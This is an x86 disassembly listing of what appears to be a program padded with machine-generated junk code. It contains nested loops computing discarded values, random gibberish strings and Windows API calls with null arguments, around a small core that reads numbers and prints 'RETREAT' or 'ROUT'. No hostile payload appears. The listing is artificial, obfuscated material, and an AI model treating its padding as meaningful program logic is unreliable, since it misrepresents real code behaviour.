jmp 0x4e22b2
jmp 0x4e2284
mov byte [ebp - 0x3a], 0
and dword [ebp - 0x1514], 0
and dword [ebp - 0x170], 0
jmp 0x4e2371
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
mov eax, dword [ebp - 0x170]
cmp eax, dword [ebp - 0x7b0]
jge 0x4e2460
movzx eax, byte [ebp - 0x3a]
test eax, eax
jne 0x4e2460
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp + eax*4 - 0x3198]
sub eax, dword [ebp - 0x1514]
imul eax, dword [ebp - 0x7b8]
mov dword [ebp - 0x1524], eax
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x170]
mov eax, dword [ebp + eax*4 - 0x3ee8]
imul eax, dword [ebp + ecx*4 - 0x3d20]
mov ecx, dword [ebp - 0x170]
imul eax, dword [ebp + ecx*4 - 0x3d20]
mov dword [ebp - 0x151c], eax
mov eax, dword [ebp - 0x1524]
cmp eax, dword [ebp - 0x151c]
jg 0x4e23f2
mov byte [ebp - 0x3a], 1
jmp 0x4e245b
mov eax, dword [ebp - 0x170]
mov eax, dword [ebp + eax*4 - 0x3198]
mov dword [ebp - 0x1514], eax
cvtsi2sd xmm0, dword [ebp - 0x7b8]
mov eax, dword [ebp - 0x151c]
imul eax, dword [ebp - 0x7b8]
cvtsi2sd xmm1, eax
mulsd xmm1, qword [0xac2b28]
cvtsi2sd xmm2, dword [ebp - 0x1524]
divsd xmm1, xmm2
subsd xmm0, xmm1
movsd qword [ebp - 0x2df0], xmm0
fld qword [ebp - 0x2df0]
push ecx
push ecx
fstp qword [esp]
call fcn.0050aa50
pop ecx
pop ecx
call fcn.0050a300
mov dword [ebp - 0x7b8], eax
jmp 0x4e2364
movzx eax, byte [ebp - 0x3a]
test eax, eax
je 0x4e2475
push str.RETREAT__n
call fcn.004f1488
pop ecx
jmp 0x4e2480
push str.ROUT__n
call fcn.004f1488
pop ecx
jmp 0x4e21d9
and dword [ebp - 0x7c0], 0
jmp 0x4e249b
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 0x7a92
jge 0x4e2535
and dword [ebp - 0x7c8], 0
jmp 0x4e24c1
mov eax, dword [ebp - 0x7c8]
inc eax
mov dword [ebp - 0x7c8], eax
cmp dword [ebp - 0x7c8], 0x2e83
jge 0x4e2530
and dword [ebp - 0x7d8], 0
jmp 0x4e24e3
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 0x421f
jge 0x4e252e
mov ecx, dword [ebp - 0x7c0]
sub ecx, dword [ebp - 0x7c8]
mov eax, dword [ebp - 0x7d0]
sar eax, cl
and eax, dword [ebp - 0x7d8]
cdq
mov dword [ebp - 0x2358], eax
mov dword [ebp - 0x2354], edx
push dword [ebp - 0x2354]
push dword [ebp - 0x2358]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e24d6
jmp 0x4e24b4
jmp 0x4e248e
jmp 0x4e2183
and dword [ebp - 0x7f0], 0
jmp 0x4e2550
mov eax, dword [ebp - 0x7f0]
inc eax
mov dword [ebp - 0x7f0], eax
cmp dword [ebp - 0x7f0], 0x343
jge 0x4e2615
and dword [ebp - 0x7e0], 0
jmp 0x4e2576
mov eax, dword [ebp - 0x7e0]
inc eax
mov dword [ebp - 0x7e0], eax
cmp dword [ebp - 0x7e0], 0x3485
jge 0x4e2610
and dword [ebp - 0x7e8], 0
jmp 0x4e259c
mov eax, dword [ebp - 0x7e8]
inc eax
mov dword [ebp - 0x7e8], eax
cmp dword [ebp - 0x7e8], 0x4c4c
jge 0x4e260b
and dword [ebp - 0x7f8], 0
jmp 0x4e25be
mov eax, dword [ebp - 0x7f8]
inc eax
mov dword [ebp - 0x7f8], eax
cmp dword [ebp - 0x7f8], 0x6e7f
jge 0x4e2609
mov eax, dword [ebp - 0x7e0]
mov ecx, dword [ebp - 0x7e8]
sar eax, cl
xor eax, dword [ebp - 0x7f0]
xor eax, dword [ebp - 0x7f8]
cdq
mov dword [ebp - 0x2364], eax
mov dword [ebp - 0x2360], edx
push dword [ebp - 0x2360]
push dword [ebp - 0x2364]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e25b1
jmp 0x4e258f
jmp 0x4e2569
jmp 0x4e2543
cmp dword [ebp - 0x152c], 0x44d3
jge 0x4e2631
mov edx, dword [ebp - 0x2588]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x2254], 0x22b6
cmp dword [ebp - 0x2254], 0xf4f
jge 0x4e27a0
lea eax, [ebp - 0x12f0]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
push dword [ebp - 0x12f0]
lea ecx, [ebp - 0x1b58]
call fcn.004179d7
and dword [ebp - 0x800], 0
jmp 0x4e2685
mov eax, dword [ebp - 0x800]
inc eax
mov dword [ebp - 0x800], eax
mov eax, dword [ebp - 0x800]
cmp eax, dword [ebp - 0x12f0]
jge 0x4e26b3
push dword [ebp - 0x800]
lea ecx, [ebp - 0x1b58]
call fcn.00417bb8
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
jmp 0x4e2678
mov dword [ebp - 0x808], 0x3b9aca0b
xorpd xmm0, xmm0
movlpd qword [ebp - 0x1488], xmm0
mov eax, dword [ebp - 0x12f0]
dec eax
mov dword [ebp - 0x200], eax
jmp 0x4e26e5
mov eax, dword [ebp - 0x200]
dec eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0
jl 0x4e277c
cmp dword [ebp - 0x808], 1
jg 0x4e26fd
jmp 0x4e277c
push dword [ebp - 0x200]
lea ecx, [ebp - 0x1b58]
call fcn.00417bb8
mov eax, dword [eax]
cmp eax, dword [ebp - 0x808]
jl 0x4e2732
mov esi, dword [ebp - 0x808]
dec esi
push dword [ebp - 0x200]
lea ecx, [ebp - 0x1b58]
call fcn.00417bb8
mov dword [eax], esi
push dword [ebp - 0x200]
lea ecx, [ebp - 0x1b58]
call fcn.00417bb8
mov eax, dword [eax]
cdq
add eax, dword [ebp - 0x1488]
adc edx, dword [ebp - 0x1484]
mov dword [ebp - 0x1488], eax
mov dword [ebp - 0x1484], edx
push dword [ebp - 0x200]
lea ecx, [ebp - 0x1b58]
call fcn.00417bb8
mov eax, dword [eax]
mov dword [ebp - 0x808], eax
jmp 0x4e26d8
push dword [ebp - 0x1484]
push dword [ebp - 0x1488]
push str._lld_n
call fcn.004f1488
add esp, 0xc
lea ecx, [ebp - 0x1b58]
call fcn.00417aef
cmp dword [ebp - 0x1534], 0x2e90
jge 0x4e27bc
mov edx, dword [ebp - 0x2590]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x1794], 0x15a9
mov dword [ebp - 0x2728], str.yqltjfe_rivl_syq_mnfjwc_ugamrwn_vmb_ntvxdlmu_gvq_hynjkn_iqah_htfcrbe
cmp dword [ebp - 0x1794], 0x183d
jle 0x4e28c7
and dword [ebp - 0x820], 0
jmp 0x4e27f6
mov eax, dword [ebp - 0x820]
inc eax
mov dword [ebp - 0x820], eax
cmp dword [ebp - 0x820], 0x4afb
jge 0x4e28bb
and dword [ebp - 0x810], 0
jmp 0x4e281c
mov eax, dword [ebp - 0x810]
inc eax
mov dword [ebp - 0x810], eax
cmp dword [ebp - 0x810], 0x6146
jge 0x4e28b6
and dword [ebp - 0x818], 0
jmp 0x4e2842
mov eax, dword [ebp - 0x818]
inc eax
mov dword [ebp - 0x818], eax
cmp dword [ebp - 0x818], 0x20d3
jge 0x4e28b1
and dword [ebp - 0x828], 0
jmp 0x4e2864
mov eax, dword [ebp - 0x828]
inc eax
mov dword [ebp - 0x828], eax
cmp dword [ebp - 0x828], 0x2d10
jge 0x4e28af
mov ecx, dword [ebp - 0x810]
add ecx, dword [ebp - 0x818]
mov eax, dword [ebp - 0x820]
sar eax, cl
or eax, dword [ebp - 0x828]
cdq
mov dword [ebp - 0x2370], eax
mov dword [ebp - 0x236c], edx
push dword [ebp - 0x236c]
push dword [ebp - 0x2370]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e2857
jmp 0x4e2835
jmp 0x4e280f
jmp 0x4e27e9
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
cmp dword [ebp - 0x17cc], 0x2b78
jle 0x4e8434
mov dword [ebp - 0x178c], 0x7804
mov dword [ebp - 0x24b8], str.soeg_eaniwvx_ojychx_swpl_biyxxyjte_vgq_rbgteqth
cmp dword [ebp - 0x178c], 0x790c
jle 0x4e29c8
call dword [sym.imp.KERNEL32.dll_GetACP]
and dword [ebp - 0x830], 0
jmp 0x4e2917
mov eax, dword [ebp - 0x830]
inc eax
mov dword [ebp - 0x830], eax
cmp dword [ebp - 0x830], 0x2358
jge 0x4e29c8
and dword [ebp - 0x838], 0
jmp 0x4e293d
mov eax, dword [ebp - 0x838]
inc eax
mov dword [ebp - 0x838], eax
cmp dword [ebp - 0x838], 0x72b1
jge 0x4e29c3
and dword [ebp - 0x840], 0
jmp 0x4e295f
mov eax, dword [ebp - 0x840]
inc eax
mov dword [ebp - 0x840], eax
cmp dword [ebp - 0x840], 0x1ab7
jge 0x4e29be
mov eax, dword [ebp - 0x830]
and eax, dword [ebp - 0x838]
xor eax, dword [ebp - 0x840]
cdq
mov dword [ebp - 0x237c], eax
mov dword [ebp - 0x2378], edx
push dword [ebp - 0x2378]
push dword [ebp - 0x237c]
lea ecx, [ebp - 0x3300]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3300]
call fcn.00401711
jmp 0x4e2952
jmp 0x4e2930
jmp 0x4e290a
and dword [ebp - 0xb00], 0
jmp 0x4e29de
mov eax, dword [ebp - 0xb00]
inc eax
mov dword [ebp - 0xb00], eax
cmp dword [ebp - 0xb00], 0x255f
jge 0x4e841c
mov dword [ebp - 0x153c], 0x791d
mov dword [ebp - 0x2260], str.pwfyffri_capkd_oactpnmhf_xiqwgadpm_wmyus_htc_mnhedejyy
cmp dword [ebp - 0x153c], 0x7bd5
jle 0x4e2adb
and dword [ebp - 0x848], 0
jmp 0x4e2a28
mov eax, dword [ebp - 0x848]
inc eax
mov dword [ebp - 0x848], eax
cmp dword [ebp - 0x848], 0x21a2
jge 0x4e2adb
and dword [ebp - 0x850], 0
jmp 0x4e2a4e
mov eax, dword [ebp - 0x850]
inc eax
mov dword [ebp - 0x850], eax
cmp dword [ebp - 0x850], 0xd04
jge 0x4e2ad6
and dword [ebp - 0x858], 0
jmp 0x4e2a70
mov eax, dword [ebp - 0x858]
inc eax
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x858], 0x328
jge 0x4e2ad1
mov eax, dword [ebp - 0x848]
mov ecx, dword [ebp - 0x850]
sar eax, cl
and eax, dword [ebp - 0x858]
cdq
mov dword [ebp - 0x2388], eax
mov dword [ebp - 0x2384], edx
push dword [ebp - 0x2384]
push dword [ebp - 0x2388]
lea ecx, [ebp - 0x3330]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3330]
call fcn.00401711
jmp 0x4e2a63
jmp 0x4e2a41
jmp 0x4e2a1b
mov dword [ebp - 0x177c], 0x17f2
cmp dword [ebp - 0x153c], 0x78df
jge 0x4e2afd
push dword [ebp - 0x2260]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x154c], 0x22ff
mov dword [ebp - 0x2278], str.bxey_tvn_rejaty_pjtxe_tiubi_knce_tdgvwtsry_nqcdv_xtnpp_sqw_ylbm_dnwa
cmp dword [ebp - 0x154c], 0x2533
jle 0x4e2bfc
and dword [ebp - 0x870], 0
jmp 0x4e2b37
mov eax, dword [ebp - 0x870]
inc eax
mov dword [ebp - 0x870], eax
cmp dword [ebp - 0x870], 0x392
jge 0x4e2bfc
and dword [ebp - 0x860], 0
jmp 0x4e2b5d
mov eax, dword [ebp - 0x860]
inc eax
mov dword [ebp - 0x860], eax
cmp dword [ebp - 0x860], 0x6445
jge 0x4e2bf7
and dword [ebp - 0x868], 0
jmp 0x4e2b83
mov eax, dword [ebp - 0x868]
inc eax
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x868], 0x6ff8
jge 0x4e2bf2
and dword [ebp - 0x878], 0
jmp 0x4e2ba5
mov eax, dword [ebp - 0x878]
inc eax
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 0x5bed
jge 0x4e2bf0
mov eax, dword [ebp - 0x860]
mov ecx, dword [ebp - 0x868]
shl eax, cl
xor eax, dword [ebp - 0x870]
or eax, dword [ebp - 0x878]
cdq
mov dword [ebp - 0x2394], eax
mov dword [ebp - 0x2390], edx
push dword [ebp - 0x2390]
push dword [ebp - 0x2394]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e2b98
jmp 0x4e2b76
jmp 0x4e2b50
jmp 0x4e2b2a
mov dword [ebp - 0x2598], 0x1b58
cmp dword [ebp - 0x2598], 0x107d
jge 0x4e2cfa
lea eax, [ebp - 0x25a0]
push eax
lea eax, [ebp - 0x226c]
push eax
mov ecx, 0xac75e0
call fcn.004173b8
mov ecx, eax
call fcn.004173b8
mov eax, dword [ebp - 0x226c]
shl eax, 1
mov dword [ebp - 0x2a0], eax
imul eax, dword [ebp - 0x25a0], 3
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x880], 6
jmp 0x4e2c6b
mov eax, dword [ebp - 0x880]
add eax, 6
mov dword [ebp - 0x880], eax
mov eax, dword [ebp - 0x880]
cmp eax, dword [ebp - 0x2a0]
jg 0x4e2cb6
mov eax, dword [ebp - 0x880]
cmp eax, dword [ebp - 0x2a8]
jg 0x4e2cb6
mov eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x2a8]
jg 0x4e2ca5
mov eax, dword [ebp - 0x2a0]
inc eax
inc eax
mov dword [ebp - 0x2a0], eax
jmp 0x4e2cb4
mov eax, dword [ebp - 0x2a8]
add eax, 3
mov dword [ebp - 0x2a8], eax
jmp 0x4e2c5c
mov eax, dword [ebp - 0x2a0]
cmp eax, dword [ebp - 0x2a8]
jle 0x4e2cd2
mov eax, dword [ebp - 0x2a0]
mov dword [ebp - 0x1544], eax
jmp 0x4e2cde
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0x1544], eax
push fcn.0041c2ab
push dword [ebp - 0x1544]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
mov dword [ebp - 0x2710], str.vguey_ixvlvwplu_yhayljyn_wkrb_stnqga_nvl_cbujjdht_uguuvuyo_dnfmstlb_jijasl_lcvulih_racuetl_rdbtar
cmp dword [ebp - 0x154c], 0x22f4
jge 0x4e2d20
mov edx, dword [ebp - 0x2278]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x177c], 0x182b
jle 0x4e30ba
mov dword [ebp - 0x1554], 0x3dab
mov dword [ebp - 0x2284], str.pnqkn_rqbacaq_krxp_ayq_ebmixnyt_ffws_fnd_vkuif_dedb_qfconjjn
cmp dword [ebp - 0x1554], 0x40af
jle 0x4e2dea
and dword [ebp - 0x888], 0
jmp 0x4e2d6a
mov eax, dword [ebp - 0x888]
inc eax
mov dword [ebp - 0x888], eax
cmp dword [ebp - 0x888], 0x606d
jge 0x4e2dea
and dword [ebp - 0x890], 0
jmp 0x4e2d8c
mov eax, dword [ebp - 0x890]
inc eax
mov dword [ebp - 0x890], eax
cmp dword [ebp - 0x890], 0x5bba
jge 0x4e2de5
mov eax, dword [ebp - 0x888]
add eax, dword [ebp - 0x890]
cdq
mov dword [ebp - 0x23a0], eax
mov dword [ebp - 0x239c], edx
push dword [ebp - 0x239c]
push dword [ebp - 0x23a0]
lea ecx, [ebp - 0x3360]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3360]
call fcn.00401711
jmp 0x4e2d7f
jmp 0x4e2d5d
and dword [ebp - 0x898], 0
jmp 0x4e2e00
mov eax, dword [ebp - 0x898]
inc eax
mov dword [ebp - 0x898], eax
cmp dword [ebp - 0x898], 0xd46
jge 0x4e30a2
and dword [ebp - 0x8a0], 0
jmp 0x4e2e26
mov eax, dword [ebp - 0x8a0]
inc eax
mov dword [ebp - 0x8a0], eax
cmp dword [ebp - 0x8a0], 0x2dd
jge 0x4e309d
and dword [ebp - 0x8a8], 0
jmp 0x4e2e4c
mov eax, dword [ebp - 0x8a8]
inc eax
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8a8], 0x170f
jge 0x4e3098
mov dword [ebp - 0x25a8], 0x1966
cmp dword [ebp - 0x25a8], 0xcd0
jge 0x4e303f
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x28]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
mov ecx, eax
call fcn.00417279
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
jl 0x4e2eb5
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x30]
jl 0x4e2eb5
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xe8], eax
jmp 0x4e2ee9
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x28]
jl 0x4e2ed0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x30]
jl 0x4e2ed0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xe8], eax
jmp 0x4e2ee9
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jl 0x4e2ee9
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x28]
jl 0x4e2ee9
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xe8], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
jg 0x4e2f04
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x30]
jg 0x4e2f04
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0xc8], eax
jmp 0x4e2f38
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x28]
jg 0x4e2f1f
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x30]
jg 0x4e2f1f
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc8], eax
jmp 0x4e2f38
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x2c]
jg 0x4e2f38
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x28]
jg 0x4e2f38
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xe8]
jne 0x4e2f5c
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc8]
jne 0x4e2f5c
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x208], eax
jmp 0x4e3002
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xe8]
jne 0x4e2f80
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xc8]
jne 0x4e2f80
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x208], eax
jmp 0x4e3002
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xe8]
jne 0x4e2fa1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xc8]
jne 0x4e2fa1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x208], eax
jmp 0x4e3002
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xe8]
jne 0x4e2fc2
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0xc8]
jne 0x4e2fc2
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x208], eax
jmp 0x4e3002
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xe8]
jne 0x4e2fe3
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xc8]
jne 0x4e2fe3
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x208], eax
jmp 0x4e3002
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0xe8]
jne 0x4e3002
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0xc8]
jne 0x4e3002
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x208], eax
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x208]
cmp eax, dword [ebp - 0xe8]
jle 0x4e302f
mov eax, dword [ebp - 0xc8]
add eax, dword [ebp - 0x208]
push eax
mov ecx, 0xac7538
call fcn.00417681
jmp 0x4e303f
push dword [ebp - 0xe8]
mov ecx, 0xac7538
call fcn.00417681
mov eax, dword [ebp - 0x898]
cdq
idiv dword [ebp - 0x8a0]
or edx, dword [ebp - 0x8a8]
mov eax, edx
cdq
mov dword [ebp - 0x23ac], eax
mov dword [ebp - 0x23a8], edx
push dword [ebp - 0x23a8]
push dword [ebp - 0x23ac]
lea ecx, [ebp - 0x3390]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3390]
call fcn.00401711
jmp 0x4e2e3f
jmp 0x4e2e19
jmp 0x4e2df3
cmp dword [ebp - 0x1554], 0x3c6e
jge 0x4e30ba
push dword [ebp - 0x2284]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x1774], 0xd27
mov dword [ebp - 0x247c], str.tbusih_ffrficmwb_stj_urcb_vyianvy
cmp dword [ebp - 0x1774], 0x106b
jle 0x4e31a1
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_Polyline]
and dword [ebp - 0x8b0], 0
jmp 0x4e3100
mov eax, dword [ebp - 0x8b0]
inc eax
mov dword [ebp - 0x8b0], eax
cmp dword [ebp - 0x8b0], 0x6dfe
jge 0x4e3197
and dword [ebp - 0x8b8], 0
jmp 0x4e3126
mov eax, dword [ebp - 0x8b8]
inc eax
mov dword [ebp - 0x8b8], eax
cmp dword [ebp - 0x8b8], 0x7fba
jge 0x4e3192
and dword [ebp - 0x8c0], 0
jmp 0x4e3148
mov eax, dword [ebp - 0x8c0]
inc eax
mov dword [ebp - 0x8c0], eax
cmp dword [ebp - 0x8c0], 0x3153
jge 0x4e3190
mov eax, dword [ebp - 0x8b0]
cdq
idiv dword [ebp - 0x8b8]
mov ecx, dword [ebp - 0x8c0]
shl edx, cl
mov eax, edx
cdq
mov dword [ebp - 0x23b8], eax
mov dword [ebp - 0x23b4], edx
push dword [ebp - 0x23b4]
push dword [ebp - 0x23b8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e313b
jmp 0x4e3119
jmp 0x4e30f3
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectClipRgn]
and dword [ebp - 0xb08], 0
jmp 0x4e31b7
mov eax, dword [ebp - 0xb08]
inc eax
mov dword [ebp - 0xb08], eax
cmp dword [ebp - 0xb08], 0x2ded
jge 0x4e7fe0
mov dword [ebp - 0x175c], 0x50ae
mov dword [ebp - 0x26f0], str.brxnjrpxl_bhupb_xlqa_frhfjvo_slrrb_jpkhjhsl_fdnor_aij_qwvgaogpl_yidjnbpwn_arqmsr
cmp dword [ebp - 0x175c], 0x5197
jle 0x4e48d2
mov dword [ebp - 0x159c], 0x74f6
mov dword [ebp - 0x25d8], str.jpjtgapvw_pdkas_gljgy_ymhwd_excc_vbma_blldoeekn_txcaips_tjqn
cmp dword [ebp - 0x159c], 0x7657
jle 0x4e32e8
and dword [ebp - 0x8c8], 0
jmp 0x4e3225
mov eax, dword [ebp - 0x8c8]
inc eax
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 0x4343
jge 0x4e32e8
and dword [ebp - 0x8d0], 0
jmp 0x4e324b
mov eax, dword [ebp - 0x8d0]
inc eax
mov dword [ebp - 0x8d0], eax
cmp dword [ebp - 0x8d0], 0x1cee
jge 0x4e32e3
and dword [ebp - 0x8d8], 0
jmp 0x4e3271
mov eax, dword [ebp - 0x8d8]
inc eax
mov dword [ebp - 0x8d8], eax
cmp dword [ebp - 0x8d8], 0x278c
jge 0x4e32de
and dword [ebp - 0x8e0], 0
jmp 0x4e3293
mov eax, dword [ebp - 0x8e0]
inc eax
mov dword [ebp - 0x8e0], eax
cmp dword [ebp - 0x8e0], 0x3645
jge 0x4e32dc
mov eax, dword [ebp - 0x8c8]
sub eax, dword [ebp - 0x8d0]
xor eax, dword [ebp - 0x8d8]
xor eax, dword [ebp - 0x8e0]
cdq
mov dword [ebp - 0x23c4], eax
mov dword [ebp - 0x23c0], edx
push dword [ebp - 0x23c0]
push dword [ebp - 0x23c4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e3286
jmp 0x4e3264
jmp 0x4e323e
jmp 0x4e3218
and dword [ebp - 0x988], 0
jmp 0x4e32fe
mov eax, dword [ebp - 0x988]
inc eax
mov dword [ebp - 0x988], eax
cmp dword [ebp - 0x988], 0x6a92
jge 0x4e48b6
and dword [ebp - 0x990], 0
jmp 0x4e3324
mov eax, dword [ebp - 0x990]
inc eax
mov dword [ebp - 0x990], eax
cmp dword [ebp - 0x990], 0x2f9a
jge 0x4e48b1
mov dword [ebp - 0x158c], 0x3489
mov dword [ebp - 0x155c], 0x1613
mov dword [ebp - 0x25b0], str.ihlcyuelk_postwulyu_obkhom_cudkdad_warf_rupmlct_axpa_krtreyien_vyakbqkg_vqek
cmp dword [ebp - 0x155c], 0x1736
jle 0x4e3461
and dword [ebp - 0x8e8], 0
jmp 0x4e3378
mov eax, dword [ebp - 0x8e8]
inc eax
mov dword [ebp - 0x8e8], eax
cmp dword [ebp - 0x8e8], 0xebf
jge 0x4e3461
and dword [ebp - 0x8f0], 0
jmp 0x4e339e
mov eax, dword [ebp - 0x8f0]
inc eax
mov dword [ebp - 0x8f0], eax
cmp dword [ebp - 0x8f0], 0x6517
jge 0x4e345c
and dword [ebp - 0x8f8], 0
jmp 0x4e33c4
mov eax, dword [ebp - 0x8f8]
inc eax
mov dword [ebp - 0x8f8], eax
cmp dword [ebp - 0x8f8], 0x6bd5
jge 0x4e3457
and dword [ebp - 0x900], 0
jmp 0x4e33ea
mov eax, dword [ebp - 0x900]
inc eax
mov dword [ebp - 0x900], eax
cmp dword [ebp - 0x900], 0x3d3e
jge 0x4e3452
mov eax, dword [ebp - 0x8e8]
cdq
idiv dword [ebp - 0x8f0]
mov eax, dword [ebp - 0x8f8]
add eax, dword [ebp - 0x900]
or eax, edx
cdq
mov dword [ebp - 0x23d0], eax
mov dword [ebp - 0x23cc], edx
push dword [ebp - 0x23cc]
push dword [ebp - 0x23d0]
lea ecx, [ebp - 0x33c0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x33c0]
call fcn.00401711
jmp 0x4e33dd
jmp 0x4e33b7
jmp 0x4e3391
jmp 0x4e336b
mov dword [ebp - 0x25d0], str.icgt_pkeugsths_snaauisx_dcyrcte_eyiscu_idut_caevvplld_rtasodvpf_guonmcm_dne
cmp dword [ebp - 0x155c], 0x132a
jge 0x4e3483
push dword [ebp - 0x25b0]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x2290], 0x189b
cmp dword [ebp - 0x2290], 0x11c8
jge 0x4e3530
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x1564]
push eax
push 0xab5690
call fcn.004f117c
add esp, 0xc
mov eax, dword [ebp - 0x1564]
inc eax
imul eax, dword [ebp - 0x1564]
cdq
sub eax, edx
mov ecx, eax
sar ecx, 1
mov eax, dword [ebp - 0x908]
cdq
idiv ecx
mov dword [ebp - 0x908], edx
mov eax, dword [ebp - 0x908]
lea ecx, [eax*8 + 1]
call fcn.0041c4c8
subsd xmm0, qword [0xac2b28]
divsd xmm0, qword [0xac2b30]
cvttsd2si eax, xmm0
mov dword [ebp - 0x156c], eax
mov eax, dword [ebp - 0x156c]
inc eax
imul eax, dword [ebp - 0x156c]
cdq
sub eax, edx
sar eax, 1
mov ecx, dword [ebp - 0x908]
sub ecx, eax
push ecx
push 0xab58f8
call fcn.004f1488
pop ecx
pop ecx
cmp dword [ebp - 0x158c], 0x35e2
jle 0x4e45be
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
mov dword [ebp - 0x157c], 0x36fd
mov dword [ebp - 0x1ba4], str.qccxer_aym_trnswihdu_vtuewxg_vswkrwwug_yrtldvi_bbwxn_lntif_klyc_lgkxktb
cmp dword [ebp - 0x157c], 0x3931
jle 0x4e364c
and dword [ebp - 0x920], 0
jmp 0x4e3584
mov eax, dword [ebp - 0x920]
inc eax
mov dword [ebp - 0x920], eax
cmp dword [ebp - 0x920], 0x245b
jge 0x4e364c
and dword [ebp - 0x910], 0
jmp 0x4e35aa
mov eax, dword [ebp - 0x910]
inc eax
mov dword [ebp - 0x910], eax
cmp dword [ebp - 0x910], 0x5b4a
jge 0x4e3647
and dword [ebp - 0x918], 0
jmp 0x4e35d0
mov eax, dword [ebp - 0x918]
inc eax
mov dword [ebp - 0x918], eax
cmp dword [ebp - 0x918], 0x14d
jge 0x4e3642
and dword [ebp - 0x928], 0
jmp 0x4e35f2
mov eax, dword [ebp - 0x928]
inc eax
mov dword [ebp - 0x928], eax
cmp dword [ebp - 0x928], 0x3d42
jge 0x4e3640
mov ecx, dword [ebp - 0x910]
imul ecx, dword [ebp - 0x918]
mov eax, dword [ebp - 0x920]
shl eax, cl
mov ecx, dword [ebp - 0x928]
shl eax, cl
cdq
